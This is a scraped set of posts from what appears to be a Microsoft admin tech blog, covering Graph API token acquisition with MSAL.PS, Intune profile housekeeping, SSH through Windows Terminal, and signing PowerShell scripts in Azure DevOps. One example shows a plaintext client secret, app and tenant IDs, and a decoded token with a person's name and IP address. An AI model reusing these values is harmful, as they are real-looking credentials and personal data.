decoded (also truncated):\n{ \u0026#34;aud\u0026#34;: \u0026#34;00000003-0000-0000-c000-000000000000\u0026#34;, \u0026#34;iss\u0026#34;: \u0026#34;https://sts.windows.net/69271346-cb42-4bcd-b645-338c738cb57e/\u0026#34;, \u0026#34;iat\u0026#34;: 1609530487, \u0026#34;nbf\u0026#34;: 1609530487, \u0026#34;exp\u0026#34;: 1609534387, \u0026#34;app_displayname\u0026#34;: \u0026#34;Graph explorer (official site)\u0026#34;, \u0026#34;appid\u0026#34;: \u0026#34;de8bc8b5-d9f9-48b1-a8ad-b748da725064\u0026#34;, \u0026#34;idp\u0026#34;: \u0026#34;https://sts.windows.net/69271346-cb42-4bcd-b645-338c738cb57e/\u0026#34;, \u0026#34;idtyp\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;ipaddr\u0026#34;: \u0026#34;91.138.12.34\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Nicola Suter\u0026#34;, \u0026#34;scp\u0026#34;: \u0026#34;DeviceManagementConfiguration.ReadWrite.All Directory.ReadWrite.All openid profile User.Read email\u0026#34;, \u0026#34;tid\u0026#34;: \u0026#34;69271346-cb42-4bcd-b645-338c738cb57e\u0026#34;, } Of course, the token contains also parts to verify the integrity by leveraging digital signature. These are stored in the header fields like \u0026ldquo;nonce\u0026rdquo; and \u0026ldquo;x5t\u0026rdquo; (contains public key).\nJust before publishing this post I also found a claim list by microsoft which documents included fields in the token.\nAvailable options to acquire tokens # Now let\u0026rsquo;s have a look about the available options within Azure AD to obtain access tokens and some use cases:\nOption Example Use-cases Permissions Type OAuth Terminology Interactive Scripts which run interactively on-demand with user sign-in Delegated authorization code flow Client secret Unattended automation with secret stored in a key vault Application client credentials Certificate Unattended automation like scheduled tasks, azure automation Application client credentials (This list is also not exhaustive but contains the most used and adopted scenarios and flows)\nApp registration # No matter which option we choose to acquire tokens and want to interact with the Graph API we need an app registration. After you created the app registration note down the following details:\nApplication ID Tenant ID (you can also use a DNS name of a registered domain) Reply-URLs when using Interactive (authorization code) # The authorization server (Azure AD acting as identity provider) returns access tokens for Interactive flows only to registered reply-URLs. These can be added under the \u0026ldquo;authentication\u0026rdquo; section of your app registration:\nFor PowerShell 5.1 we need to add: https://login.microsoftonline.com/common/oauth2/nativeclient For PowerShell core: http://localhost To ensure backward compatibility for other colleagues not using PowerShell core I mostly add both reply-URLs. {: .notice\u0026ndash;info}\nPowerShell examples # Fo the PowerShell examples we\u0026rsquo;ll use the MSAL.PS PowerShell module. It supports all recent PowerShell platforms, including PowerShell core (e.g. PowerShell 7 and Azure Functions 😎). As the name indicates the module relies on MSAL. Furthermore, it implements an in-memory token cache to persist acquired tokens, optionally you can enable toke caching on your disk.\nYou can install the module on your machine with:\nInstall-Module -Name MSAL.PS -Scope CurrentUser If you encounter issues because of PowerShellGet follow these instructions.\nWithin the PowerShell examples I\u0026rsquo;ll use splatting which allows passing commandlet arguments with a hashtable because it looks very nice and ensures vertical density. {: .notice\u0026ndash;info}\nInteractive (authorization code flow) # The interactive authorization code flow pops-up either a login or browser window and you are prompted to enter your Azure AD username and password.\n$connectionDetails = @{ \u0026#39;TenantId\u0026#39; = \u0026#39;dev.nicolonsky.ch\u0026#39; \u0026#39;ClientId\u0026#39; = \u0026#39;453436af-5b9d-449b-82b6-22001ee3b727\u0026#39; \u0026#39;Interactive\u0026#39; = $true } $token = Get-MsalToken @connectionDetails Behind the curtain we can trace a request to the OAuth 2.0 authorize endpoint which initiates the sign-in process:\nGET https://login.microsoftonline.com/dev.nicolonsky.ch/oauth2/v2.0/authorize The following request parameters are passed via the request URL:\nAfter the sign-in, the access token is served to the reply URL specified in the request URL parameter redirect_uri\thttp://localhost:2518. The MSAL PowerShell client then receives the access token from the authorization server.\nClient Secret # A client secret allows unattended authentication and the secret needs to be added to your app registration. The commandlet requires the client secret as a secure string parameter.\nYou can create a new client secret directly from the app registration:\n$connectionDetails = @{ \u0026#39;TenantId\u0026#39; = \u0026#39;dev.nicolonsky.ch\u0026#39; \u0026#39;ClientId\u0026#39; = \u0026#39;453436af-5b9d-449b-82b6-22001ee3b727\u0026#39; \u0026#39;ClientSecret\u0026#39; = \u0026#39;3wD0xU571J6S70N-P-4oy_.ZtduB5JkQBC\u0026#39; | ConvertTo-SecureString -AsPlainText -Force } Get-MsalToken @connectionDetails Never EVER check-in client secrets to git version control as they will remain in your commit history. Treat them like credentials, and of course, you don\u0026rsquo;t want to store credentials in plain text, do you? (I invalidated mine directly after coding the examples 😉) {: .notice\u0026ndash;danger}\nBehind the curtain we can trace a request to the OAuth 2.0 token endpoint of your AAD tenant with the client secret and application id in the request body:\nPOST: https://login.microsoftonline.com/{Tenant-ID}/oauth2/v2.0/token Certificate # Certificates also allow unattended authentication. The certificate and the corresponding private key need to be present in an accessible store.\nFor this purpose a self-signed certificate is sufficient and you can easily generate one with PowerShell and export the public key:\n$cert = New-SelfSignedCertificate -CertStoreLocation Cert:\\CurrentUser\\My -Subject \u0026#34;Microsoft Graph Automation\u0026#34; -Provider \u0026#34;Microsoft Enhanced RSA and AES Cryptographic Provider\u0026#34; Export-Certificate -Cert $cert -FilePath .\\Downloads\\Certificate.cer Afterward, upload the exported public key to your app registration:\nAnd now you are ready to acquire your token with the certificate we just generated:\n$connectionDetails = @{ \u0026#39;TenantId\u0026#39; = \u0026#39;dev.nicolonsky.ch\u0026#39; \u0026#39;ClientId\u0026#39; = \u0026#39;453436af-5b9d-449b-82b6-22001ee3b727\u0026#39; \u0026#39;ClientCertificate\u0026#39; = Get-Item -Path \u0026#39;Cert:\\CurrentUser\\My\\139A2B6751195C71BEAE08296C6C92093E5475DA\u0026#39; } Get-MsalToken @connectionDetails Behind the curtain we can trace a request to the OAuth 2.0 token endpoint of your AAD tenant with the raw certificate assertion and application id in the request body:\nPOST: https://login.microsoftonline.com/{Tenant-ID}/oauth2/v2.0/token Building a request header # To actually use the acquired access token we need to build a request header that we include in http requests to the Graph API. A PowerShell object instantiated from the Get-MsalToken commandlet exposes a method called CreateAuthorizationHeader() to include the Bearer token in the request header you use for subsequent requests:\n# Acquire a token as demonstrated in the previous examples $token = Get-MsalToken @connectionDetails $authHeader = @{ \u0026#39;Authorization\u0026#39; = $token.CreateAuthorizationHeader() } $requestUrl = \u0026#34;https://graph.microsoft.com/v1.0/me\u0026#34; Invoke-RestMethod -Uri $requestUrl -Headers $authHeader Token cache # In memory tokens can be cleared with:\nClear-MsalTokenCache For non-interactive flows you can pass the -ForceRefresh parameter to acquire a new token which is not served from the token cache.\nConclusion # This very detailed post guided you through different ways to obtain access tokens for your next PowerShell automation with the Microsoft Graph API. As a takeaway I always recommend using the MSAL.PS PowerShell module because this will save you lots of time instead of writing custom code to acquire access tokens. Furthermore, for unattended scenarios I always recommend using certificates over client secret because they are better protected instead of a clear text client secret.\nThere has been a lot of Auth 2.0 and OpenID Connect terminology and if you want to follow up about these frameworks I can recommend you the following resources:\nOAuth 2.0 and OpenID Connect protocols on Microsoft identity platform OAuth 2.0 and OpenID Connect (in plain English) Happy token acquisition.\n","date":"4 January 2021","externalUrl":null,"permalink":"/explaining-microsoft-graph-access-token-acquisition/","section":"Posts","summary":"When working with the Microsoft Graph API or introducing the API to colleagues I often get asked about the steps required to obtain an access token for the API with PowerShell. Out in the wild, I’ve spotted many different ways and lots of implementations still relying on the ADAL (Active Directory Authentication Library) despite the fact that this client library is superseded by MSAL (Microsoft Authentication Library). So let’s talk about acquiring access token “in stile” with the most simple method available.\nWhy do we need an access token? # When talking about the Microsoft Graph API an access token fulfills two roles, first: prove authentication (proof of identity) second prove authorization (permissions). Each request needs to submit a request-header that contains the access token.\nFor an API it’s crucial to validate the authentication and authorization for every request. Otherwise, requests could be made to resources the actor has no access to.\nWhat’s inside the access token # You did probably stumble over the terms “bearer authentication” or “bearer token” these describe a mechanism within the OAuth 2.0 Authorization framework to authenticate requests with access tokens. Tokens are issued by the authorization server (Azure AD) and contain a server-generated string in the format of a JSON Web Token (JWT) with the following information (the list is not exhaustive and truncated to only contain the most interesting parts):\n","title":"Microsoft Graph Access Token Acquisition with PowerShell explained in depth","type":"posts"},{"content":"While doing some Android Enterprise enrollment tests for corporate-owned devices with work profiles I stumbled over the following issue after signing-in with the work account: \u0026ldquo;Page not found\u0026rdquo;.\nThe solution is fairly simple, just double check that your user does not have the device enrollment manager role assigned, which can be found under the device enrollment pane: The docs tell us:\nIf you\u0026rsquo;re enrolling Android Enterprise personally-owned work profile or corporate-owned work profile devices by using a DEM account, there is a limit of 10 devices that can be enrolled per account. Microsoft Docs\nIn my case, I wasn\u0026rsquo;t exceeding that limit because it was the first enrollment with that account so I\u0026rsquo;m not sure if the docs are accurate.\nUpdated 21.12.2020:\nI already opened an issue on GitHub about the doc contents.\n@nicolonsky Good question. Using a DEM account isn\u0026rsquo;t available to enroll COPE devices. We fixed the article. The changes should be live later today. Thanks for bringing this to our attention.\nHope this helps.\n","date":"19 December 2020","externalUrl":null,"permalink":"/android-enterprise-enrollment-failure-dem/","section":"Posts","summary":"While doing some Android Enterprise enrollment tests for corporate-owned devices with work profiles I stumbled over the following issue after signing-in with the work account: “Page not found”.\nThe solution is fairly simple, just double check that your user does not have the device enrollment manager role assigned, which can be found under the device enrollment pane: The docs tell us:\nIf you’re enrolling Android Enterprise personally-owned work profile or corporate-owned work profile devices by using a DEM account, there is a limit of 10 devices that can be enrolled per account. Microsoft Docs\nIn my case, I wasn’t exceeding that limit because it was the first enrollment with that account so I’m not sure if the docs are accurate.\nUpdated 21.12.2020:\nI already opened an issue on GitHub about the doc contents.\n@nicolonsky Good question. Using a DEM account isn’t available to enroll COPE devices. We fixed the article. The changes should be live later today. Thanks for bringing this to our attention.\nHope this helps.\n","title":"Android Enterprise Enrollment: Page Not Found","type":"posts"},{"content":"When involved in new projects I often find a bunch of old profiles in the Microsoft Endpoint Management Console. Before going ahead with a new implementation it\u0026rsquo;s the best time to clean-up all the leftovers from past ramblings.\nHow to identify stale profiles # If one or multiple statements are met for a profile it is very likely to be a stale profile:\nNo assignments, assignments to a group without members \u0026ldquo;Test\u0026rdquo; included within the profile name or description Last modified points back in time for more than a year No devices reported success/failure status for the given profile type What to do with stale profiles # So let\u0026rsquo;s be brave and delete them. But Intune doesn\u0026rsquo;t offer any [CTRL] + [Z] or recycle bin possibilities so we might want to have some kind of archive, just in case?\nLet\u0026rsquo;s agree that we:\nCheck the points from the list above Ask our colleagues if they know something about the profiles and their usage Take a backup deleting them afterward is a reasonable action which is probably beneficial for everyone.\nBackup and delete the policies via Graph Explorer # Fetch the profile id from your web browser URL in the MEM portal: Construct a request URL, for a regular device configuration this could look like: GET https://graph.microsoft.com/beta/deviceManagement/deviceConfigurations/2541684d-a353-43b6-87c9-1e5f7e605d3e\nFetch the profile via Graph Explorer: Copy the contents to a JSON file at a location of your choice to archive the configuration: Delete the profile: Caution: Entities like administrative templates and endpoint security profiles do not return all configured settings, you need to make multiple requests. Use Intune Graph API export and import Intune ADMX templates Export and import MEM Endpoint Security Profiles {: .notice\u0026ndash;danger}\nOf course, you can also use other tools and scripts to back up your configuration profiles, like the Modern Workplace Concierge.😉\nHope this helps you to keep your environment clean and tidy.\n","date":"16 December 2020","externalUrl":null,"permalink":"/cleanup-mem-profiles/","section":"Posts","summary":"When involved in new projects I often find a bunch of old profiles in the Microsoft Endpoint Management Console. Before going ahead with a new implementation it’s the best time to clean-up all the leftovers from past ramblings.\nHow to identify stale profiles # If one or multiple statements are met for a profile it is very likely to be a stale profile:\nNo assignments, assignments to a group without members “Test” included within the profile name or description Last modified points back in time for more than a year No devices reported success/failure status for the given profile type What to do with stale profiles # So let’s be brave and delete them. But Intune doesn’t offer any [CTRL] + [Z] or recycle bin possibilities so we might want to have some kind of archive, just in case?\nLet’s agree that we:\nCheck the points from the list above Ask our colleagues if they know something about the profiles and their usage Take a backup deleting them afterward is a reasonable action which is probably beneficial for everyone.\n","title":"Housekeeping for stale MEM profiles","type":"posts"},{"content":"","date":"16 December 2020","externalUrl":null,"permalink":"/tags/misc/","section":"Tags","summary":"","title":"Misc","type":"tags"},{"content":"I like to have a linux machine for some lab stuff which I can access from multiple machines prefereably over SSH. Because Windows 10 ships with an integrated SSH client and Windows Terminal looks just awesome I wanted to use Windows Terminal to access my linux machine running on Azure over SSH. Today I\u0026rsquo;d like to show you my setup.\nGenerate a Key Pair # ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (C:\\Users\\NicolaSuter/.ssh/id_rsa): Created directory \u0026#39;C:\\Users\\NicolaSuter/.ssh\u0026#39;. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in C:\\Users\\NicolaSuter/.ssh/id_rsa. Your public key has been saved in C:\\Users\\NicolaSuter/.ssh/id_rsa.pub. Add SSH config file # C:\\Users\\%USERNAME%\\.ssh\\config\nHost horus Hostname horus.nicolonsky.ch Port 22 User azureuser IdentityFile ~/.ssh/id_rsa Test the SSH connection # ssh horus\nWindows Terminal Configuration # Create a new GUID with Powershell and the command: (New-Guid).Guid\n{ \u0026#34;guid\u0026#34;: \u0026#34;{67d39a21-70ff-4bdd-af09-fd68b29c1716}\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Horus\u0026#34;, \u0026#34;commandline\u0026#34;: \u0026#34;ssh horus\u0026#34;, \u0026#34;hidden\u0026#34;: false, \u0026#34;icon\u0026#34;: \u0026#34;https://image.flaticon.com/icons/png/512/119/119423.png\u0026#34; }, Sync Windows Terminal Settings with OneDrive # We can setup a symlink to use the Windows Terminal Config stored in OneDrive:\nNew-Item -ItemType SymbolicLink -Path \u0026#34;$env:LOCALAPPDATA\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\LocalState\\settings.json\u0026#34; -Target \u0026#34;$env:OneDrive\\Encrypted_Zone\\settings.json\u0026#34; -Force Howto keep ssh config in sync between machines # To sync the SSH settings we can configure a Junction:\nNew-Item -ItemType Junction -Path \u0026#34;$env:USERPROFILE\\.ssh\u0026#34; -Target \u0026#34;$env:OneDrive\\Encrypted_Zone\\.ssh\\\u0026#34; Get-Item \u0026#34;$env:USERPROFILE\\.ssh\\\u0026#34; | Select-Object FullName, LinkType, Target FullName LinkType Target -------- -------- ------ C:\\Users\\nicola.suter\\.ssh\\ Junction {C:\\Users\\nicola.suter\\OneDrive - Nicolonsky Tech\\Encrypted_Zone\\.ssh\\} ","date":"16 December 2020","externalUrl":null,"permalink":"/windows-terminal-ssh/","section":"Posts","summary":"I like to have a linux machine for some lab stuff which I can access from multiple machines prefereably over SSH. Because Windows 10 ships with an integrated SSH client and Windows Terminal looks just awesome I wanted to use Windows Terminal to access my linux machine running on Azure over SSH. Today I’d like to show you my setup.\nGenerate a Key Pair # ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (C:\\Users\\NicolaSuter/.ssh/id_rsa): Created directory 'C:\\Users\\NicolaSuter/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in C:\\Users\\NicolaSuter/.ssh/id_rsa. Your public key has been saved in C:\\Users\\NicolaSuter/.ssh/id_rsa.pub. Add SSH config file # C:\\Users\\%USERNAME%\\.ssh\\config\nHost horus Hostname horus.nicolonsky.ch Port 22 User azureuser IdentityFile ~/.ssh/id_rsa Test the SSH connection # ssh horus\nWindows Terminal Configuration # Create a new GUID with Powershell and the command: (New-Guid).Guid\n{ \"guid\": \"{67d39a21-70ff-4bdd-af09-fd68b29c1716}\", \"name\": \"Horus\", \"commandline\": \"ssh horus\", \"hidden\": false, \"icon\": \"https://image.flaticon.com/icons/png/512/119/119423.png\" }, Sync Windows Terminal Settings with OneDrive # We can setup a symlink to use the Windows Terminal Config stored in OneDrive:\n","title":"Windows Terminal and SSH - the most beautiful SSH client?","type":"posts"},{"content":"Recently I got a DM on Twitter with a question about how to export and import Endpoint Security profiles with Microsoft Graph. Besides a technical answer which might be of interest for you, I\u0026rsquo;d like to show you the workflow I used to give a proper reply.\nOriginal question:\nHi @nicolonsky, I was advised on the MS Elite Partner focus groups team (MEM Automation) to reach out to you regarding my question about export/import policies from Endpoint Security in Intune. I\u0026rsquo;ve been able to export the Disk Encryption policy (via graph explorer), but haven\u0026rsquo;t been able to find the correct format to use to upload/import it. I was hoping that you would be able to advise on how to go about achieving this.\nWorkflow # Discover request URL\u0026rsquo;s and payload # To discover the request URLs and payloads I used the methodology I explained in the this post a while ago. Basically, I tracked the network activity and used a filter to only include requests made to the Graph API while doing the following activities:\nCreating a profile # POST: https://graph.microsoft.com/beta/deviceManagement/templates/2b595bcc-ef65-42ce-a0e3-67389ae50b8e/createInstance\n{ \u0026#34;displayName\u0026#34;: \u0026#34;test\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;settingsDelta\u0026#34;: [ { \u0026#34;id\u0026#34;: \u0026#34;d172cbcc-030f-4b78-af35-c0791f584b1d\u0026#34;, \u0026#34;definitionId\u0026#34;: \u0026#34;deviceConfiguration--windows10EndpointProtectionConfiguration_bitLockerFixedDrivePolicy\u0026#34;, \u0026#34;@odata.type\u0026#34;: \u0026#34;#microsoft.graph.deviceManagementComplexSettingInstance\u0026#34;, \u0026#34;valueJson\u0026#34;: \u0026#34;{\\\u0026#34;encryptionMethod\\\u0026#34;:null,\\\u0026#34;requireEncryptionForWriteAccess\\\u0026#34;:false,\\\u0026#34;recoveryOptions\\\u0026#34;:{\\\u0026#34;blockDataRecoveryAgent\\\u0026#34;:false,\\\u0026#34;recoveryKeyUsage\\\u0026#34;:null,\\\u0026#34;recoveryPasswordUsage\\\u0026#34;:null,\\\u0026#34;hideRecoveryOptions\\\u0026#34;:false,\\\u0026#34;enableRecoveryInformationSaveToStore\\\u0026#34;:false,\\\u0026#34;recoveryInformationToStore\\\u0026#34;:null,\\\u0026#34;enableBitLockerAfterRecoveryInformationToStore\\\u0026#34;:false}}\u0026#34; } ], \u0026#34;roleScopeTagIds\u0026#34;: [ \u0026#34;0\u0026#34; ] } Viewing/editing a profile # GET: https://graph.microsoft.com/beta/deviceManagement/intents/23ead0f2-c79a-430a-a988-53939f1794fd/settings\n{ \u0026#34;@odata.context\u0026#34;: \u0026#34;https://graph.microsoft.com/beta/$metadata#deviceManagement/intents(\u0026#39;23ead0f2-c79a-430a-a988-53939f1794fd\u0026#39;)/settings\u0026#34;, \u0026#34;value\u0026#34;: [ { \u0026#34;@odata.type\u0026#34;: \u0026#34;#microsoft.graph.deviceManagementBooleanSettingInstance\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;33081642-09d8-4b8b-bdac-03d399dbaee2\u0026#34;, \u0026#34;definitionId\u0026#34;: \u0026#34;deviceConfiguration--windowsIdentityProtectionConfiguration_unlockWithBiometricsEnabled\u0026#34;, \u0026#34;valueJson\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;value\u0026#34;: true } ] } Understanding the data structure # Now I needed to understand how the different entities are linked together to get the necessary information for exporting a profile. This picture roughly describes how the entities are organized on the API (not accurate or valid UML though):\nTo construct an importable endpoint security profile I needed to:\nRename the value[] to settingsDelta[] Add the displayName and description properties To know to which template settings reference we also need to keep track of the templateId which is required for the import request URL. We just need to make sure that we remove the templateId property before we pass the request body to the API.\nScripting # The last part was about putting together some PowerShell code that invokes the required requests and produces some JSON output which stores the serialized data.\nI did not use any special module to do the API requests and just implemented the requests in different PowerShell functions for a more detailed example. To acquire an access token I always rely on the MSAL.PS module which is probably the best and most flexible way out there instead of writing custom methods to obtain access tokens.\nResult # You can find the export and import scripts both on my techblog repository on GitHub. The scripts work for endpoint security profiles and security baselines. Endpoint detection and response configurations are not included (because of some tenant-specific oddities about onboarding info).\nBy default, exports are saved in a new directory that matches your script location.\nThe scripts are far away from perfect - if you want to tweak them I\u0026rsquo;m looking forward to PR\u0026rsquo;s on GitHub.\nThe scripts use the default Intune PowerShell app which should be enabled by default in your tenant. Depending on your PowerShell version and conditional access policies you might need to switch to another OAuth flow but this one can be easily changed.\n","date":"19 November 2020","externalUrl":null,"permalink":"/endpoint-security-profiles/","section":"Posts","summary":"Recently I got a DM on Twitter with a question about how to export and import Endpoint Security profiles with Microsoft Graph. Besides a technical answer which might be of interest for you, I’d like to show you the workflow I used to give a proper reply.\nOriginal question:\nHi @nicolonsky, I was advised on the MS Elite Partner focus groups team (MEM Automation) to reach out to you regarding my question about export/import policies from Endpoint Security in Intune. I’ve been able to export the Disk Encryption policy (via graph explorer), but haven’t been able to find the correct format to use to upload/import it. I was hoping that you would be able to advise on how to go about achieving this.\nWorkflow # Discover request URL’s and payload # To discover the request URLs and payloads I used the methodology I explained in the this post a while ago. Basically, I tracked the network activity and used a filter to only include requests made to the Graph API while doing the following activities:\n","title":"Export and import MEM Endpoint Security Profiles","type":"posts"},{"content":"I recently bought a Surface Pro 7 with an Intel Core i7 and 256 GB SSD and it was a quite good deal. I\u0026rsquo;m using it primarily for my studies in computer sciences which involves lots of development with Java, Python, C, Linux and so on. Furthermore, I\u0026rsquo;m using it to write blog posts for this blog.\nOne thing which annoyed me since day 1 was the fan going absolutely crazy when plugged to AC power. Having only OneNote open and a couple of browser tabs and maybe teams the noise was way too loud and even heard by other participants in meetings.\nOn Reddit I found a hint to a setting which indeed solved my solution.\nWe need to adjust the \u0026ldquo;max. processor power state\u0026rdquo; setting which is not visible by default on surface devices. To show the setting add this reg key with PowerShell:\nSet-ItemProperty -Path \u0026#34;HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Power\\PowerSettings\\54533251-82be-4824-96c1-47b60b740d00\\bc5038f7-23e0-4960-96da-33abaf5935ec\u0026#34; -Name Attributes -Value 2 Afterwards, we can change the \u0026ldquo;max. processor power state\u0026rdquo; setting within the power settings in the control panel:\nHope this helps you as well to enjoy your Surface Pro 7 with a much quieter fan. 🐱‍💻\n","date":"16 November 2020","externalUrl":null,"permalink":"/shut-up-surface-pro/","section":"Posts","summary":"I recently bought a Surface Pro 7 with an Intel Core i7 and 256 GB SSD and it was a quite good deal. I’m using it primarily for my studies in computer sciences which involves lots of development with Java, Python, C, Linux and so on. Furthermore, I’m using it to write blog posts for this blog.\nOne thing which annoyed me since day 1 was the fan going absolutely crazy when plugged to AC power. Having only OneNote open and a couple of browser tabs and maybe teams the noise was way too loud and even heard by other participants in meetings.\nOn Reddit I found a hint to a setting which indeed solved my solution.\nWe need to adjust the “max. processor power state” setting which is not visible by default on surface devices. To show the setting add this reg key with PowerShell:\nSet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Power\\PowerSettings\\54533251-82be-4824-96c1-47b60b740d00\\bc5038f7-23e0-4960-96da-33abaf5935ec\" -Name Attributes -Value 2 Afterwards, we can change the “max. processor power state” setting within the power settings in the control panel:\nHope this helps you as well to enjoy your Surface Pro 7 with a much quieter fan. 🐱‍💻\n","title":"Shut up Surface Pro 7 fan noise!","type":"posts"},{"content":"Too lazy to sign your PowerShell scripts? Yes of course it provides security benefits but performing the steps manually can be easily forgotten and re-signing needs to happen after every script change. Because I like CI/CD topics and have not found a solution on the internet I decided to build a solution based on Azure capabilities. Furthermore, I wanted a solution which does not require to hand out the code signing certificate to the respective script author which can be useful if you have a bunch of people writing PowerShell scripts.\nFrom a personal perspective, I would also recommend signing scripts you hand over to customers to ensure the integrity of the scripts because as soon as the script gets changed the signature is invalid.\nYou can find more general recommendations about script signing in the PowerShell docs.\nSolution overview # The key vault will store the code signing certificate with an access policy that allows access from the Azure DevOps pipeline.\nThe pipeline consists of the following steps:\nImport code signing certificate The certificate is supplied as secret in a variable group which is linked to the key vault Access to the key vault is granted with a service connection (service principal) Sign PowerShell scripts which contain a \u0026ldquo;magic token\u0026rdquo; All *.ps1 within the attached repository will be enumerated To control which scripts will be signed only those with the \u0026ldquo;magic token\u0026rdquo; get processed The \u0026ldquo;magic token\u0026rdquo; gets removed before signing the script Publish signed PowerShell scripts as pipeline artifacts To make them available for download This solution has the advantage that you don\u0026rsquo;t need to hand out your code signing certificate to your team which authors the scripts and you have an automated and stable way to sign your scripts including a clear history of the scripts which were signed.\nIf you want to have a look at the pipeline configuration you can find it on my GitHub account. I added all the PowerShell as inline scripts but you could also convert them to external scripts if you want to run additional pipeline steps and maintain a cleaner YAML.\nTo store a certificate from a key vault directly in a certificate store without creating any files I found the following overload for the X509Certificate2.Import() method which accepts a Byte[] array with X509KeyStorageFlags to ensure that the private key gets imported as well:\nImport(Byte[], SecureString, X509KeyStorageFlags) docs\n$secret = Get-AzKeyVaultSecret -VaultName \u0026#34;vault\u0026#34; -Name \u0026#34;CodeSigningCert\u0026#34; $secretBytes = [System.Convert]::FromBase64String($secret.SecretValueText) # Build pfx $pfxcert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2 $keyStoreFlags = [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable ` -bxor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::UserKeySet ` -bxor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet; $pfxcert.Import($secretBytes, $null, $keyStoreFlags); # import to personal store $store = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Store -ArgumentList @(\u0026#34;My\u0026#34;, \u0026#34;CurrentUser\u0026#34;) $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite); $store.Add($pfxcert) $store.Close() In the pipeline, we won\u0026rsquo;t use the Get-AzKeyVaultSecret cmdlet because we access the key vault with a variable group that has a reference to the key vault. {: .notice}\nTo process all PowerShell scripts in the attached repository I added the following code and used #PerformScriptSigning as \u0026ldquo;magic token\u0026rdquo; to identify the scripts I want to sign.\nThe signed scripts are copied to the $env:Build_ArtifactStagingDirectory which is available within the pipeline to store artifacts we want to publish.\n$magicToken = \u0026#34;#PerformScriptSigning\u0026#34; $encoding = \u0026#34;UTF8\u0026#34; $scriptFolder = \u0026#34;.\u0026#34; $scripts = Get-ChildItem -Path $scriptFolder -Filter \u0026#34;*.ps1\u0026#34; -Recurse -ErrorAction Stop foreach ($script in $scripts) { try { $content = Get-Content -Path $script.FullName -Encoding $encoding if ($content.Contains($magicToken)) { $content = $content | Where-Object {$_ -notmatch $magicToken} Set-Content -Value $content -Path $script.FullName -Encoding $encoding -Force # load cert $codeSigningCert = Get-ChildItem Cert:\\CurrentUser\\My -CodeSigningCert | Select-Object -First 1 Write-Output \u0026#34;Signing script `\u0026#34;$($script.Name)`\u0026#34; with certificate `\u0026#34;$($codeSigningCert.Thumbprint)`\u0026#34;\u0026#34; # sign script $null = Set-AuthenticodeSignature -Certificate $codeSigningCert -FilePath $script.FullName -TimestampServer \u0026#34;http://timestamp.comodoca.com/rfc3161\u0026#34; # copy to artifact staging location $null = Copy-Item -Path $script.FullName -Destination $env:Build_ArtifactStagingDirectory } } catch { Write-Error $_ } } One very small but important detail is to use the TimestampServer parameter for the Set-AuthenticodeSignature cmdlet because if you use a timestamp server the signature remains valid even after your code signing certificate has expired. {: .notice}\nYou can find the full pipeline configuration here which includes the mentioned PowerShell snippets optimized for the pipeline.\nPrerequisites # Code Signing Certificate Azure Key Vault Git repo with your PowerShell scripts You can also host your repo directly on Azure DevOps Azure DevOps for the pipeline Free trial for up to 5 contributors is available Key vault # Upload your PFX code signing certificate to the key vault under the certificate tab and choose a descriptive name: Azure DevOps Pipeline # Optionally you can create a new Azure DevOps project or use an existing one.\nAdd a new pipeline Select repo which contains the PowerShell script (if you want to use the default Azure DevOps repo make sure to initialize it first) Choose the starter pipeline Replace the script with the following YAML content and save the pipeline Variable Group # We now connect our variable group (can be found under the library submenu) to the key vault which holds the code signing certificate. This allows us to retrieve the certificate from the pipeline. If you didn\u0026rsquo;t adjust the YAML file you should use CodeSigning as the variable group name because it\u0026rsquo;s referenced within the pipeline configuration.\nTo access the key vault you need to select the subscription and resource group and hit the \u0026ldquo;Authorize\u0026rdquo; button which will create a new service principal in the background for Azure DevOps to interact with Azure resources.\nIntermediate and root CA certificates # If your code signing certificate requires an intermediate ca / root ca certificate you can add them as secure files. Name them RootCA and IntermediateCA and uncomment the section in the YAML file to import those in the pipeline. The PowerShell signing Process requires a valid certificate chain.\nUpload optional root CA \u0026amp; intermediate CA public keys as secure files Uncomment the following section of the pipeline which installs the certificates on the agent: The solution in action # If you want to sign a script add the following token to the script #PerformScriptSigning (preferably within the first few lines):\n#PerformScriptSigning Write-Host \u0026#34;Hello\u0026#34; After you committed \u0026amp; pushed your changes with git the pipeline will start and perform the certificate retrieval and signing process.\nYou can find and download the signed scripts under the pipeline artifacts:\nTesting the signature can be done with PowerShell and the Get-AuthenticodeSignature cmdlet:\nAs the pipeline runs automatically on every pushed commit it\u0026rsquo;s quite easy to always use and deliver signed scripts for your future projects. Hope this saves you some time an encourages you to sign your PowerShell scripts.\n","date":"1 October 2020","externalUrl":null,"permalink":"/sign-powershell-az-devops/","section":"Posts","summary":"Too lazy to sign your PowerShell scripts? Yes of course it provides security benefits but performing the steps manually can be easily forgotten and re-signing needs to happen after every script change. Because I like CI/CD topics and have not found a solution on the internet I decided to build a solution based on Azure capabilities. Furthermore, I wanted a solution which does not require to hand out the code signing certificate to the respective script author which can be useful if you have a bunch of people writing PowerShell scripts.\nFrom a personal perspective, I would also recommend signing scripts you hand over to customers to ensure the integrity of the scripts because as soon as the script gets changed the signature is invalid.\nYou can find more general recommendations about script signing in the PowerShell docs.\nSolution overview # The key vault will store the code signing certificate with an access policy that allows access from the Azure DevOps pipeline.\nThe pipeline consists of the following steps:\nImport code signing certificate The certificate is supplied as secret in a variable group which is linked to the key vault Access to the key vault is granted with a service connection (service principal) Sign PowerShell scripts which contain a “magic token” All *.ps1 within the attached repository will be enumerated To control which scripts will be signed only those with the “magic token” get processed The “magic token” gets removed before signing the script Publish signed PowerShell 